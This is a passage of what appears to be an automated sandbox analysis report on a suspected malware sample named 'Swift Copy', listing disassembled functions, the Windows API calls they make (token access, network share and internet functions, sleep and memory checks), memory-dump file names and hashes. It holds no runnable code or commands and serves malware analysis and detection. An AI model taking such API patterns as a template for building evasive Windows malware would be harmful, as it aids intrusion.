OpenProcessToken.ADVAPI32(00000000,?,?,?,00DD11D9), ref: 00DD164F

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 0874fcbc611e09a4b9bc67a7abe139642fd07a4c60dbe99e21a01aaf9758d159
Instruction ID: 34f622024ab3928529e63fe2a7af2bf182452cf0018751b8f2459e85f7029684
Opcode Fuzzy Hash: 0874fcbc611e09a4b9bc67a7abe139642fd07a4c60dbe99e21a01aaf9758d159
Instruction Fuzzy Hash: 95E08635601211EFE7201FA29D0DB463B7CEF44791F288909F245E9090E6358489C760

Function 00DCD858 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00DCD858
GetDC.USER32(00000000), ref: 00DCD862
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00DCD882
ReleaseDC.USER32(?), ref: 00DCD8A3

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: c51f30e030197519120484d6972dfffc62d36f31d3470784d06ee5e730c37ad3
Instruction ID: f8e990003cad0834e98f7a2cc863792671798f403e4fe8d8c288d20fa9cbd638
Opcode Fuzzy Hash: c51f30e030197519120484d6972dfffc62d36f31d3470784d06ee5e730c37ad3
Instruction Fuzzy Hash: 47E01270800205DFCF519FA1D80866DBBB2FF08710F208119F846F7250C7368545EF60

Function 00DCD86C Relevance: 6.0, APIs: 4, Instructions: 18COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00DCD86C
GetDC.USER32(00000000), ref: 00DCD876
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00DCD882
ReleaseDC.USER32(?), ref: 00DCD8A3

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 6ee42667de0d86d9559ad00731c6c28f76adb43c3709d99d7b70f2e8d7898482
Instruction ID: 6eb6c7c8837f91a952c6b73c9d0ce7e617f0811a6194dde84c3d2dec174a6622
Opcode Fuzzy Hash: 6ee42667de0d86d9559ad00731c6c28f76adb43c3709d99d7b70f2e8d7898482
Instruction Fuzzy Hash: 48E01A70800200DFCF50AFA1E80866DBBB1FB08710F208108E84AF7290CB3A59469F50

Function 00DE4D87 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 230shareCOMMON

Download Yara Rule

APIs

Part of subcall function 00D77620: _wcslen.LIBCMT ref: 00D77625

WNetUseConnectionW.MPR(00000000,?,0000002A,00000000,?,?,0000002A,?), ref: 00DE4ED4

Strings

*, xrefs: 00DE4E10
LPT, xrefs: 00DE4DFB

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Connection_wcslen
String ID: *$LPT
API String ID: 1725874428-3443410124
Opcode ID: 5c621df17fb816d27bb937e57344b9d8537ae7ee7e6085d5ef6745a00f4f1d55
Instruction ID: ea424cca5810fd9adf1b69d67f3436e8e4a9160bc63b6f7d34f8ca197da5e252
Opcode Fuzzy Hash: 5c621df17fb816d27bb937e57344b9d8537ae7ee7e6085d5ef6745a00f4f1d55
Instruction Fuzzy Hash: 7B916D75A002449FCB14EF59C484EAABBF1FF44704F198099E84A9F3A2D731ED85CBA1

Function 00D9E27D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00D9E30D

Strings

pow, xrefs: 00D9E2E5, 00D9E302

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 335c75e23be3a4c2701bab8419074dc76dbd929b7a4446beb8d6906e17c5fc58
Instruction ID: ac28e551a3eb106a51ca29351399296834f23aefdafbd5b71bf16aeee5ccf028
Opcode Fuzzy Hash: 335c75e23be3a4c2701bab8419074dc76dbd929b7a4446beb8d6906e17c5fc58
Instruction Fuzzy Hash: 48516E71A0D202DACF15BB14CD013B97BA4EB41741F388DA8F0D5922E9EB35CCD59A76

Function 00DF7771 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 189COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(00DC569E,00000000,?,00E0CC08,?,00000000,00000000), ref: 00DF78DD

Part of subcall function 00D76B57: _wcslen.LIBCMT ref: 00D76B6A

CharUpperBuffW.USER32(00DC569E,00000000,?,00E0CC08,00000000,?,00000000,00000000), ref: 00DF783B

Strings

<s, xrefs: 00DF790C, 00DF790F, 00DF7924

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: BuffCharUpper$_wcslen
String ID: <s
API String ID: 3544283678-2940880691
Opcode ID: 052a197052bbee959ebb84c6a2961b0914c85875599cf3595f7f55964c63868b
Instruction ID: 55d801e029df76a21b429b9df2e854f207302252fb5419c5b918fb1c2a373424
Opcode Fuzzy Hash: 052a197052bbee959ebb84c6a2961b0914c85875599cf3595f7f55964c63868b
Instruction Fuzzy Hash: 89614B72914119AACF14EBA4CC91DFDB378FF14700B59812AF646B7091FF60AA49DBB0

Function 00D8E187 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

#, xrefs: 00D8E1B1

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: b2c4c45cf5c6721a5878255d1caea98ee5edcb2f5f72b4f93d91c4afb69ba086
Instruction ID: 6bbd799d9cb89d05985b191b429d77dc39d1def1f6c7d88de4b5c991856c192b
Opcode Fuzzy Hash: b2c4c45cf5c6721a5878255d1caea98ee5edcb2f5f72b4f93d91c4afb69ba086
Instruction Fuzzy Hash: 595101B5504256EFDF25EF68C481FBA7BA4EF65310F288059E8919B2D0D634DD42CBB0

Function 00D8F291 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 144sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000), ref: 00D8F2A2
GlobalMemoryStatusEx.KERNEL32(?), ref: 00D8F2BB

Strings

@, xrefs: 00D8F2AF

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: GlobalMemorySleepStatus
String ID: @
API String ID: 2783356886-2766056989
Opcode ID: 7d7f4fbff36931002bc94a00e7d3307a280aa14a916aa63e9548fceb764c24ab
Instruction ID: 7b09bfa6ef69c7e070799b22204157fe484c6bc23ea3ea13371ea11a78f6a092
Opcode Fuzzy Hash: 7d7f4fbff36931002bc94a00e7d3307a280aa14a916aa63e9548fceb764c24ab
Instruction Fuzzy Hash: 2C5142724187849FD320AF21DC86BAFBBF8FF95300F81885CF199511A5EB308529CB66

Function 00DF5745 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,00000003,?,?), ref: 00DF57E0
_wcslen.LIBCMT ref: 00DF57EC

Strings

CALLARGARRAY, xrefs: 00DF57E6, 00DF57EB

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: BuffCharUpper_wcslen
String ID: CALLARGARRAY
API String ID: 157775604-1150593374
Opcode ID: d839881f98a24b4c23b0c56cde565aa1aa82cdfec8c485cb597b518ae215a064
Instruction ID: cecf9e4a576909aee4f00ee623ff55219cffe20a5724428389cd88e778f7dd56
Opcode Fuzzy Hash: d839881f98a24b4c23b0c56cde565aa1aa82cdfec8c485cb597b518ae215a064
Instruction Fuzzy Hash: 1941B331A001099FCB14DFA8E8818BEBBB5EF59350F158169F605A7295E7309D81CBB0

Function 00DED0F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 98networkCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00DED130
InternetCrackUrlW.WININET(?,00000000,00000000,0000007C), ref: 00DED13A

Strings

|, xrefs: 00DED10B

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CrackInternet_wcslen
String ID: |
API String ID: 596671847-2343686810
Opcode ID: ed84875872f9f36aab889884aa9becd346e9ea60188f638cbcfeb8de3d667711
Instruction ID: 1cec7b494e995d4a44e8bc9ae5651c841e4ebb93417e62ca86f53a1ba26ef656
Opcode Fuzzy Hash: ed84875872f9f36aab889884aa9becd346e9ea60188f638cbcfeb8de3d667711
Instruction Fuzzy Hash: EE310D71D00219ABCF15EFA5CC85AEE7FBAFF04340F104019F819A6165EB31A956DB71

Function 00E0356C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?,?), ref: 00E03621
MoveWindow.USER32(?,?,?,?,?,00000001,?,?,?), ref: 00E0365C

Strings

static, xrefs: 00E035BC

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$DestroyMove
String ID: static
API String ID: 2139405536-2160076837
Opcode ID: 5800e847d9d41eb5faaf4bd80d217e4c66da6e2d9b579ccd539483e5356b6d19
Instruction ID: 89c33ae41b43880510022d14af6003549d7c719dc9fce95d764a06f7b109e76c
Opcode Fuzzy Hash: 5800e847d9d41eb5faaf4bd80d217e4c66da6e2d9b579ccd539483e5356b6d19
Instruction Fuzzy Hash: B4318D71110604AEDB24DF78DC80EFB73ADFF98724F10A619F9A5A7290DA31AD91C760

Function 00E04537 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001132,00000000,?), ref: 00E0461F
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00E04634

Strings

', xrefs: 00E0458E

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageSend
String ID: '
API String ID: 3850602802-1997036262
Opcode ID: 622b980354947f6399ce98c55b0a52e4e542ef456df49d85816f292a140dffab
Instruction ID: 77129484db4dc7933a221c1418c275cb4878092f7db43ff1e37a2463bae3dd8f
Opcode Fuzzy Hash: 622b980354947f6399ce98c55b0a52e4e542ef456df49d85816f292a140dffab
Instruction Fuzzy Hash: D53139B5A013099FDF14CFA9DA80BDA7BB5FF49304F105069EA04AB381E771A981CF90

Function 00E031EF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00E0327C
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00E03287

Strings

Combobox, xrefs: 00E03249

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageSend
String ID: Combobox
API String ID: 3850602802-2096851135
Opcode ID: 0972d07a0f620816c8fdca3d60a3f1678e778b23b333295f20f99e45a1ab8a66
Instruction ID: 3c8d53e1b4ce8dd2a9260417ee8712c7adf10ba47738c430bc99d8092b348374
Opcode Fuzzy Hash: 0972d07a0f620816c8fdca3d60a3f1678e778b23b333295f20f99e45a1ab8a66
Instruction Fuzzy Hash: ED1193712002087FEF259FA4DC85EBB376EEB54368F105525F518A72E1D6319D918760

Function 00E03710 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 00D7600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00D7604C
Part of subcall function 00D7600E: GetStockObject.GDI32(00000011), ref: 00D76060
Part of subcall function 00D7600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 00D7606A

GetWindowRect.USER32(00000000,?), ref: 00E0377A
GetSysColor.USER32(00000012), ref: 00E03794

Strings

static, xrefs: 00E03757

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 41814cbff8ac7d61b9ea651d2702ca154fc1dcf4c06eb4dd69387333148d0174
Instruction ID: 6ebb45463d25c9209d106b6abb3692ce6693295674ccbf30bec53866e3a52540
Opcode Fuzzy Hash: 41814cbff8ac7d61b9ea651d2702ca154fc1dcf4c06eb4dd69387333148d0174
Instruction Fuzzy Hash: 081129B2610209AFDF00DFB8CC45AEA7BB8EB08314F145A15F955E2290E735E8959B60

Function 00DECD1E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00DECD7D
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00DECDA6

Strings

<local>, xrefs: 00DECD66

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 55d58c4fbd328036617b76c9014e684a41606e956a6c7b7cc3f8b0cc03ee5327
Instruction ID: 9b91f4ff0f58906f346d4be07591bfbccc6cc6290a7aaa8d4dd0bfb9044a090f
Opcode Fuzzy Hash: 55d58c4fbd328036617b76c9014e684a41606e956a6c7b7cc3f8b0cc03ee5327
Instruction Fuzzy Hash: E4110271221671BAD7386B678C48EE7BEACEF127A4F00522AB14993080D3729846D6F0

Function 00E03429 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32(00000000), ref: 00E034AB
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00E034BA

Strings

edit, xrefs: 00E0348F

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 5a538c614e56beaf91eb4caffba2d8e11b4b90ec8d2146b8dd673cf393b9159b
